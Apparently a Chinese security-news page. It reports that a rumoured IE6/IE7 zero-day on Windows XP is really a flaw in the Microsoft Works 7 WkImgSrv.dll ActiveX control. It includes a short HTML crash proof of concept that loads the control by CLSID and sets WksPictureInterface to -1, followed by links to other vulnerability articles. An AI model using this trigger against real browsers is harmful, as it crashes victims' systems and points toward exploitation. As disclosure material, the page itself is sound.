IE 0day漏洞问题出自MS Works

所属分类：网络安全 / 漏洞分析阅读数： 120

收藏 0赞 0分享

近几天网络上流传着一个传说为IE0DAY的POC代码，在XP系统环境下通杀了IE6和IE7，其它系统并未经过测试。其实这个漏洞并不是存在于IE，而是Microsoft Works的组件被挖掘出漏洞，部分的XP预装了Microsoft Works，所以就出现了过全补丁系统的漏洞（如华硕易PC 就预装了Microsoft Works）。
　　影响的DLL版本：Microsoft Works 7 WkImgSrv.dll （7.03.0616.0）　　以下为crash POC 　　<html>
　　<head>
　　<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
　　<script language=”JavaScript”>
function payload() {
var num = -1;
obj.WksPictureInterface = num;
}
　　</script>
　　</head>
　　<body onload=”JavaScript: return payload();”>
　　<object classid=”clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6″ id=”obj”>
　　</object>
　　</body>
　　</html>

更多精彩内容其他人还在看

IE 0day漏洞问题出自MS Works

.Net开发人员常犯的6大安全错误

科汛 KesionCMS 文件名解析漏洞

科讯 kesioncms 5.5以下漏洞拿shell方法原理总结（图文）

DISCUZ X1.5 本地文件包含漏洞说明

织梦网官方(dedecms)爆路径最新漏洞

ewebeditor通杀鸡肋0day漏洞

PHP漏洞全解

ecshop爆绝对路径的bug

dedecms织梦 v5.5 两处跨站漏洞

dedecms 5.6的最新注入漏洞

网络赚钱

站长故事

IE 0day漏洞 问题出自MS Works

.Net开发人员常犯的6大安全错误

科汛 KesionCMS 文件名解析漏洞

科讯 kesioncms 5.5以下漏洞拿shell方法原理总结（图文）

DISCUZ X1.5 本地文件包含漏洞说明

织梦网官方(dedecms)爆路径最新漏洞

ewebeditor通杀鸡肋0day漏洞

PHP漏洞全解

ecshop爆绝对路径的bug

dedecms织梦 v5.5 两处跨站漏洞

dedecms 5.6的最新注入漏洞

网络赚钱

站长故事

IE 0day漏洞问题出自MS Works